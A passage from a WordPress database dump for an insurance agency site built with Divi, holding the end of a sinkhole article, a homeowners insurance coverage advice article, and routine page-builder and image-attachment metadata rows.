about $300 million in damage per year. <br />\nSo what causes them? And is there anything homeowners can do to protect themselves? Let’s find out.  <br />\n <br />\nCAUSES OF A SINKHOLE<br />\n <br />\nWhat is a sinkhole, and how does it form? The cause is simple to understand: moving groundwater erodes rock below the soil. That creates a large cavity, which collapses. It seems like that should be an easy thing to detect… you know, with the giant cavern involved.  But the answer isn’t so simple. <br />\nThe problem is that the methods that excel at detecting these cavities directly – ground-penetrating radar, for example – are difficult to deploy at scale. The methods that can cover large areas depend on surface signs that are a lot less reliable. <br />\nIn 2014, NASA’s Jet Propulsion Laboratory discovered they can detect surface ground movement with their InSAR satellite program. But not every sinkhole exhibits this behavior before the ground caves in. Also, buildings tend to get in the way for this technique to be reliable. <br />\nThere are risk factors that can make sinkholes a bit easier to predict. Mining operations sometime destabilize the ground in ways that promote sinkholes. Weather plays a role, as well – tropical and moist climates experience more sinkholes than dry ones. Sinkholes can also be triggered by heavy rainfalls or burst sewers and pipes.<br />\n <br />\nWHERE ARE SINKHOLES MOST COMMONLY FOUND?<br />\n <br />\nSinkholes are more common where the bedrock is soluble – usually limestone or dolomite rock. Florida sits on a giant slab of limestone, which is why it’s particularly sinkhole-prone. The U.S. Geological Survey reports that about 20 percent of U.S. land is susceptible to sinkholes, mostly in the following states:</p>\n<p>Alabama<br />\nFlorida<br />\nKentucky<br />\nMissouri<br />\nPennsylvania<br />\nTennessee<br />\nTexas  </p>\n<p>HOW COMMON ARE SINKHOLES?<br />\n <br />\nThe risk of a severe occurrence is low. Of all the sinkholes that open up in any given year, researchers estimate the risk of catastrophic damage at a one-in-100 chance – but it’s difficult to get a precise number. According to the U.S. Geological Survey, some (but not all) states track reported sinkhole collapses, but there is no national database. <br />\nWhat’s more, many observed sinkholes are never reported to state geologic surveys… and a sinkhole that opens in a remote rural area may never be seen or reported at all. Curious about sinkholes in your specific area? Contact your county property appraiser. He or she might know additional details, such as the availability of a statewide geological database. <br />\nIf you suspect there is a sinkhole on your property, steer clear of the affected area (and keep kids and pets away, too). Consider marking it with fencing or tape. Then, call an expert such as a geological testing firm to determine next steps. It’s a good idea to let your insurance agent know, too.  <br />\n <br />\nSINKHOLES AND INSURANCE<br />\n <br />\nThis can get complicated, since available coverage varies by state. The Insurance Information Institute offers some helpful background about how sinkhole coverage works in different areas. For questions about what your specific policy can (and can’t) cover, contact your Insurance agent.<br />\n <br />\nDOES CAR INSURANCE COVER SINKHOLES? <br />\n <br />\nSinkhole damage can be covered if you’ve chosen to add optional comprehensive coverage to your auto insurance policy. (That’s the same coverage that can protect you from non-collision related damage, like a falling tree branch or hitting a deer.) Learn more about understanding your auto policy.  <br />\n <br />\nDOES HOMEOWNERS INSURANCE COVER SINKHOLES?<br />\n <br />\nGenerally speaking, most typical homeowners insurance policies don’t cover damage from earth movement. That includes earthquakes, mudslides and sinkholes. Flood damage is also not covered by a typical homeowners policy. Flood insurance is usually purchased separately through the National Flood Insurance Program.<br />\n </p></div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(676,251,'_et_pb_truncate_post_date','2022-03-11 11:03:10'),(677,251,'_et_builder_version','VB|Divi|4.0.9'),(678,251,'_et_pb_show_page_creation','off'),(680,259,'_edit_lock','1585069289:1'),(681,259,'_edit_last','1'),(682,259,'_et_pb_post_hide_nav','default'),(683,259,'_et_pb_page_layout','et_right_sidebar'),(684,259,'_et_pb_side_nav','off'),(685,259,'_et_pb_use_builder','on'),(686,259,'_et_pb_built_for_post_type','page'),(687,259,'_et_pb_ab_subjects',''),(688,259,'_et_pb_enable_shortcode_tracking',''),(689,259,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"259\" /]'),(690,259,'_et_pb_custom_css',''),(691,259,'_et_pb_gutter_width','3'),(692,259,'_thumbnail_id',''),(693,259,'_et_pb_first_image',''),(694,259,'_et_pb_truncate_post',''),(695,259,'_et_pb_truncate_post_date',''),(696,259,'_et_builder_version','VB|Divi|4.0.9'),(697,259,'_et_pb_show_page_creation','off'),(698,263,'_edit_lock','1585164398:1'),(699,263,'_edit_last','1'),(700,263,'_et_pb_post_hide_nav','default'),(701,263,'_et_pb_page_layout','et_right_sidebar'),(702,263,'_et_pb_side_nav','off'),(703,263,'_et_pb_use_builder','on'),(704,263,'_et_pb_built_for_post_type','page'),(705,263,'_et_pb_ab_subjects',''),(706,263,'_et_pb_enable_shortcode_tracking',''),(707,263,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"263\" /]'),(708,263,'_et_pb_custom_css',''),(709,263,'_et_pb_gutter_width','3'),(710,263,'_thumbnail_id',''),(711,263,'_et_pb_first_image',''),(712,263,'_et_pb_truncate_post',''),(713,263,'_et_pb_truncate_post_date',''),(714,263,'_et_builder_version','VB|Divi|4.0.9'),(715,263,'_et_pb_show_page_creation','off'),(716,270,'_edit_lock','1598045345:1'),(717,270,'_edit_last','1'),(718,270,'_et_pb_post_hide_nav','default'),(719,270,'_et_pb_page_layout','et_right_sidebar'),(720,270,'_et_pb_side_nav','off'),(721,270,'_et_pb_use_builder','on'),(732,270,'_et_pb_first_image',''),(733,270,'_et_pb_truncate_post',''),(723,274,'_wp_attached_file','2020/03/Untitled_Clipping_032520_023011_AM.jpg'),(724,274,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:360;s:6:\"height\";i:240;s:4:\"file\";s:46:\"2020/03/Untitled_Clipping_032520_023011_AM.jpg\";s:5:\"sizes\";a:2:{s:6:\"medium\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_032520_023011_AM-300x200.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:200;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_032520_023011_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(725,270,'_et_pb_built_for_post_type','page'),(726,270,'_et_pb_ab_subjects',''),(727,270,'_et_pb_enable_shortcode_tracking',''),(728,270,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"270\" /]'),(729,270,'_et_pb_custom_css',''),(730,270,'_et_pb_gutter_width','3'),(731,270,'_thumbnail_id',''),(734,270,'_et_pb_truncate_post_date',''),(735,270,'_et_builder_version','VB|Divi|4.0.9'),(736,270,'_et_pb_show_page_creation','off'),(737,278,'_edit_lock','1585164024:1'),(738,278,'_et_pb_use_builder','on'),(739,278,'_edit_last','1'),(740,278,'_et_pb_post_hide_nav','default'),(741,278,'_et_pb_page_layout','et_right_sidebar'),(742,278,'_et_pb_side_nav','off'),(743,278,'_et_pb_built_for_post_type','page'),(744,278,'_et_pb_ab_subjects',''),(745,278,'_et_pb_enable_shortcode_tracking',''),(746,278,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"278\" /]'),(747,278,'_et_pb_custom_css',''),(748,278,'_et_pb_gutter_width','3'),(749,278,'_thumbnail_id',''),(750,278,'_et_pb_first_image',''),(751,278,'_et_pb_truncate_post',''),(752,278,'_et_pb_truncate_post_date',''),(753,278,'_et_builder_version','VB|Divi|4.0.9'),(754,278,'_et_pb_show_page_creation','off'),(755,309,'_edit_lock','1585260445:1'),(756,309,'_edit_last','1'),(757,309,'_et_pb_post_hide_nav','default'),(758,309,'_et_pb_page_layout','et_right_sidebar'),(759,309,'_et_pb_side_nav','off'),(760,309,'_et_pb_use_builder','on'),(761,309,'_et_pb_built_for_post_type','page'),(762,309,'_et_pb_ab_subjects',''),(763,309,'_et_pb_enable_shortcode_tracking',''),(764,309,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"309\" /]'),(765,309,'_et_pb_custom_css',''),(766,309,'_et_pb_gutter_width','3'),(767,309,'_thumbnail_id',''),(768,309,'_et_pb_first_image',''),(769,309,'_et_pb_truncate_post',''),(770,309,'_et_pb_truncate_post_date',''),(771,309,'_et_builder_version','VB|Divi|4.0.9'),(772,309,'_et_pb_show_page_creation','off'),(790,319,'_et_pb_built_for_post_type','page'),(791,319,'_et_pb_ab_subjects',''),(792,319,'_et_pb_enable_shortcode_tracking',''),(793,319,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"319\" /]'),(794,319,'_et_pb_custom_css',''),(795,319,'_et_pb_gutter_width','3'),(796,319,'_thumbnail_id',''),(797,319,'_et_pb_first_image',''),(798,319,'_et_pb_truncate_post',''),(799,319,'_et_pb_truncate_post_date',''),(800,319,'_et_builder_version','VB|Divi|4.0.9'),(801,319,'_et_pb_show_page_creation','off'),(802,325,'_edit_lock','1587772376:1'),(803,325,'_edit_last','1'),(804,325,'_et_pb_post_hide_nav','default'),(805,325,'_et_pb_page_layout','et_right_sidebar'),(806,325,'_et_pb_side_nav','off'),(807,325,'_et_pb_use_builder','on'),(808,325,'_et_pb_built_for_post_type','page'),(809,325,'_et_pb_ab_subjects',''),(810,325,'_et_pb_enable_shortcode_tracking',''),(811,325,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"325\" /]'),(812,325,'_et_pb_custom_css',''),(813,325,'_et_pb_gutter_width','3'),(814,325,'_thumbnail_id',''),(815,325,'_et_pb_first_image',''),(816,325,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_1 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_2\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Here&#8217;s How to Figure out the Amount of Homeowners Insurance You Should Actually Buy</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_3\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Here’s some advice for new homeowners figuring out how much insurance coverage to buy: Think back to the popular childhood fable, and keep the Goldilocks Principle in mind: Not too much, not too little, but just right.<br />\nToo much – either in total amounts, or areas of coverage you don’t really need – and you could be looking at punishing premiums on an annual basis. Too little, and when disaster strikes, your costs for repairing and rebuilding could be far beyond what your policy covers.<br />\n“The biggest danger we see arise most frequently is underinsurance,” says Carmen Balber, executive director of the Los Angeles-based group Consumer Watchdog. “That is by far the biggest problem homeowners run into, when an unfortunate event occurs and they have to file a claim.”<br />\nThe statistics bear her out. Around 60% of U.S. homes are underinsured, by an average of 20%, according to data firm CoreLogic.<br />\nThat’s not necessarily due to cheap homeowners who are trying to skimp. It might be because they haven’t really thought about the policy since they first took it out, or because they don’t fully grasp the ins and outs of proper coverage in the first place. In fact, a whopping 52% of policy owners don’t have a complete understanding of their insurance, according to a survey by J.D. Power.<br />\nIt’s hard to blame them, because home insurance is tricky business – and in this era of climate change, it’s hard to tell what kind of calamity might befall us. But if there is any positive side, it is that people are being much more thoughtful about protecting themselves.<br />\n“Catastrophes seem to be occurring on a regular basis: Hurricanes, floods, wildfires, earthquakes,” says Janet Ruiz, a spokesperson for the Insurance Information Institute. “So people are paying more attention to insurance these days. And that’s a very smart thing, because your financial stability depends on it.”<br />\nAnd now, of course, we have to contend with the coronavirus and its fallout. While the pandemic won’t affect the basic principles of home coverage, many insurers — Allstate, for example — are taking economic hardship into consideration, and allowing customers to temporarily pause or reduce premiums without penalty or cancellation (although the difference will have to be made up down the line). And if you have moved your work into your home for the foreseeable future, you might want to look into what’s called a home business endorsement, or raising coverage limits for the business property you’re using.<br />\nHere are a few tips from the experts to put that Goldilocks Principle into action, and get the coverage amount that’s just right for you.<br />\n-Focus on replacement costs. You’re not really aiming to insure the full market value of your property, because that includes the land, and the land isn’t going anywhere. And you should probably look to insure more than just the actual cash value of the structure, because – thanks to factors like inflation and depreciation and rising construction costs — that may not turn out to be enough to rebuild after a disaster.<br />\nThe elegant solution: Insure the replacement cost, or the rough estimate of how much it would take in labor and materials to repair and rebuild. Premiums might be 10-15% more than if you were just insuring the cash value, but it will be well worth it if you ever to have file a claim. Even better, advises Balber: Get “extended replacement cost” coverage, which covers you even if local building costs skyrocket in the wake of disaster (which often happens).<br />\n-Know your coverage areas. Standard homeowner policies cover some areas of damage, but not others. In this era of climate change and rising tides, research what your area is prone to, whether you are covered for it – and if not, to look into additional riders with your existing company, or securing that coverage through a separate insurer.<br />\nFlooding, for instance, is generally not covered. The National Flood Insurance Program (FloodSmart.gov) can hook you up with participating local brokers. The program covers dwellings up to $250,000, and contents up to $100,000, with an average annual premium of around $700, although coverage in lower-risk areas won’t cost as much.<br />\nOther areas that are typically not covered, but could be: Things like sewer backup, and personal collectibles like jewelry and artwork.<br />\n-Liability coverage is critical. You may think of home insurance as just relating to the structure, but really it’s much more than that. If someone falls and injures themselves seriously on your property, they could theoretically sue for some, or even all, of your assets.<br />\nThat’s where liability coverage is your best friend. Typical homeowner policies offer at least $100,000, but you can certainly go higher and take out $300,000 or even $500,000. If you have more assets to protect, get a so-called “umbrella” policy over and above that amount. A million bucks of coverage costs a few hundred bucks a year, and is well worth the peace of mind.<br />\n–Circumstances change over time. Let’s say that your home insurance amount was perfect for when you first took out the policy. That doesn’t mean it is still appropriate today.<br />\nPerhaps in the meantime, you undertook various home-improvement projects, like bathroom and kitchen remodels, that boosted total replacement costs. So your home is now worth $400,000, but your coverage is only for $300,000 – and that’s a problem.<br />\nOr maybe your town has become a popular location, homebuilders are in high demand, and their costs have gone up. Make sure your coverage takes that into account. (Multiply square footage by current local per-square-foot building costs, which the local builders’ or realtors’ association should be able to tell you.) In a similar way, locking in an “inflation guard” rider can help protect you for increased building costs 10 or 20 years down the road.<br />\n-Cover the contents. It’s not just four walls and a roof that make a home valuable, it’s what’s inside. Generally speaking, contents can be insured up to a percentage of the structure’s overall value – roughly between 50-75%, says Ruiz.<br />\nIt’s important to document those contents, though, so that there isn’t haggling with your insurance company when you have to file a claim. So perform a video inventory – there are plenty of apps to help these days, like Sortly and Nest Egg – and then upload the results off-site.<br />\n-Keep costs under control. It’s easy to instruct you to get as much insurance coverage as you possibly can. But that can be pricey, so take thoughtful steps to keep those premiums under control. Bundling homeowner policies with other areas of coverage, like your auto, could save 30%. Raising your deductible – to $1,000 from $500, say – could save you 25%. Avoid filing multiple minor claims if you don’t have to, which could make insurers nervous and lead them to not renew your policy.</p>\n<p>If your rates are being hiked, check whether better or more affordable coverage could be had with another insurer. Insure.com is one useful site for that, says Ruiz. Independent brokers – those not beholden to a single company – are often savvy shoppers (https://www.independentagent.com/). And state insurance departments often have rate-comparison tools of their own.<br />\nMost important, don’t just let your policy gather dust in a drawer for years, but actively review whether you have the coverage amounts you need. “When renewals come in the mail every year, take some time, look it over, and call your agent,” says Ruiz. “It’s worth every second of your time.”<br />\n&nbsp;</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(817,325,'_et_pb_truncate_post_date','2021-03-16 03:27:04'),(818,325,'_et_builder_version','VB|Divi|4.0.9'),(819,325,'_et_pb_show_page_creation','off'),(820,330,'_edit_lock','1588027388:1'),(821,330,'_edit_last','1'),(822,330,'_et_pb_post_hide_nav','default'),(823,330,'_et_pb_page_layout','et_right_sidebar'),(824,330,'_et_pb_side_nav','off'),(825,330,'_et_pb_use_builder','on'),(826,330,'_et_pb_built_for_post_type','page'),(827,330,'_et_pb_ab_subjects',''),(828,330,'_et_pb_enable_shortcode_tracking',''),(829,330,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"330\" /]'),(830,330,'_et_pb_custom_css',''),(831,330,'_et_pb_gutter_width','3'),(832,330,'_thumbnail_id',''),(833,330,'_et_pb_first_image',''),(834,330,'_et_pb_truncate_post',''),(835,330,'_et_pb_truncate_post_date',''),(836,330,'_et_builder_version','VB|Divi|4.0.9'),(837,330,'_et_pb_show_page_creation','off'),(838,337,'_edit_lock','1588023445:1'),(839,337,'_edit_last','1'),(840,337,'_et_pb_post_hide_nav','default'),(841,337,'_et_pb_page_layout','et_right_sidebar'),(842,337,'_et_pb_side_nav','off'),(843,337,'_et_pb_use_builder','on'),(844,337,'_et_pb_built_for_post_type','page'),(845,337,'_et_pb_ab_subjects',''),(846,337,'_et_pb_enable_shortcode_tracking',''),(847,337,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"337\" /]'),(848,337,'_et_pb_custom_css',''),(849,337,'_et_pb_gutter_width','3'),(850,337,'_thumbnail_id',''),(851,337,'_et_pb_first_image',''),(852,337,'_et_pb_truncate_post',''),(853,337,'_et_pb_truncate_post_date',''),(854,337,'_et_builder_version','VB|Divi|4.0.9'),(855,337,'_et_pb_show_page_creation','off'),(856,342,'_edit_lock','1588026170:1'),(857,342,'_edit_last','1'),(858,342,'_et_pb_post_hide_nav','default'),(859,342,'_et_pb_page_layout','et_right_sidebar'),(860,342,'_et_pb_side_nav','off'),(861,342,'_et_pb_use_builder','on'),(862,342,'_et_pb_built_for_post_type','page'),(863,342,'_et_pb_ab_subjects',''),(864,342,'_et_pb_enable_shortcode_tracking',''),(865,342,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"342\" /]'),(866,342,'_et_pb_custom_css',''),(867,342,'_et_pb_gutter_width','3'),(868,342,'_thumbnail_id',''),(869,342,'_et_pb_first_image',''),(870,342,'_et_pb_truncate_post',''),(871,342,'_et_pb_truncate_post_date',''),(872,342,'_et_builder_version','VB|Divi|4.0.9'),(873,342,'_et_pb_show_page_creation','off'),(1854,712,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:994;s:6:\"height\";i:609;s:4:\"file\";s:22:\"2020/08/Importance.png\";s:5:\"sizes\";a:9:{s:6:\"medium\";a:4:{s:4:\"file\";s:22:\"Importance-300x184.png\";s:5:\"width\";i:300;s:6:\"height\";i:184;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:22:\"Importance-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:22:\"Importance-768x471.png\";s:5:\"width\";i:768;s:6:\"height\";i:471;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:22:\"Importance-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:22:\"Importance-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:22:\"Importance-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:22:\"Importance-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:22:\"Importance-980x600.png\";s:5:\"width\";i:980;s:6:\"height\";i:600;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:22:\"Importance-480x294.png\";s:5:\"width\";i:480;s:6:\"height\";i:294;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(1856,719,'_edit_last','1'),(1857,719,'_et_pb_post_hide_nav','default'),(1858,719,'_et_pb_page_layout','et_right_sidebar'),(1859,719,'_et_pb_side_nav','off'),(1860,719,'_et_pb_use_builder','on'),(1861,722,'_wp_attached_file','2020/09/Untitled_Clipping_091020_043946_AM.jpg'),(1862,722,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1139;s:6:\"height\";i:641;s:4:\"file\";s:46:\"2020/09/Untitled_Clipping_091020_043946_AM.jpg\";s:5:\"sizes\";a:12:{s:6:\"medium\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-300x169.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:169;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:47:\"Untitled_Clipping_091020_043946_AM-1024x576.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-768x432.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:432;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:47:\"Untitled_Clipping_091020_043946_AM-1080x641.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:641;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-400x284.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-510x382.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:47:\"Untitled_Clipping_091020_043946_AM-1080x608.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:608;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-400x516.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-980x552.jpg\";s:5:\"width\";i:980;s:6:\"height\";i:552;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_091020_043946_AM-480x270.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:270;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(1853,712,'_wp_attached_file','2020/08/Importance.png'),(874,355,'_edit_lock','1590537370:1'),(875,355,'_et_pb_use_builder','on'),(876,355,'_edit_last','1'),(877,355,'_et_pb_post_hide_nav','default'),(878,355,'_et_pb_page_layout','et_right_sidebar'),(879,355,'_et_pb_side_nav','off'),(880,355,'_et_pb_built_for_post_type','page'),(881,355,'_et_pb_ab_subjects',''),(882,355,'_et_pb_enable_shortcode_tracking',''),(883,355,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"355\" /]'),(884,355,'_et_pb_custom_css',''),(885,355,'_et_pb_gutter_width','3'),(886,355,'_thumbnail_id',''),(887,355,'_et_pb_first_image',''),(888,355,'_et_pb_truncate_post',''),(889,355,'_et_pb_truncate_post_date',''),(890,355,'_et_builder_version','VB|Divi|4.0.9'),(891,355,'_et_pb_show_page_creation','off'),(892,366,'_edit_lock','1590537367:1'),(893,366,'_edit_last','1'),(894,366,'_et_pb_post_hide_nav','default'),(895,366,'_et_pb_page_layout','et_right_sidebar'),(896,366,'_et_pb_side_nav','off'),(897,366,'_et_pb_use_builder','on'),(898,369,'_wp_attached_file','2020/05/My_Post_052620_055540_AM.jpg'),(899,369,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1199;s:6:\"height\";i:628;s:4:\"file\";s:36:\"2020/05/My_Post_052620_055540_AM.jpg\";s:5:\"sizes\";a:12:{s:6:\"medium\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-300x157.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:157;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:37:\"My_Post_052620_055540_AM-1024x536.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-768x402.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:402;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:37:\"My_Post_052620_055540_AM-1080x628.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:628;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-400x284.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-510x382.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:37:\"My_Post_052620_055540_AM-1080x566.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:566;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-400x516.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-980x513.jpg\";s:5:\"width\";i:980;s:6:\"height\";i:513;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:36:\"My_Post_052620_055540_AM-480x251.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:251;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(900,370,'_wp_attached_file','2020/05/My_Post_052620_055540_AM-1.jpg'),(901,370,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1199;s:6:\"height\";i:628;s:4:\"file\";s:38:\"2020/05/My_Post_052620_055540_AM-1.jpg\";s:5:\"sizes\";a:12:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055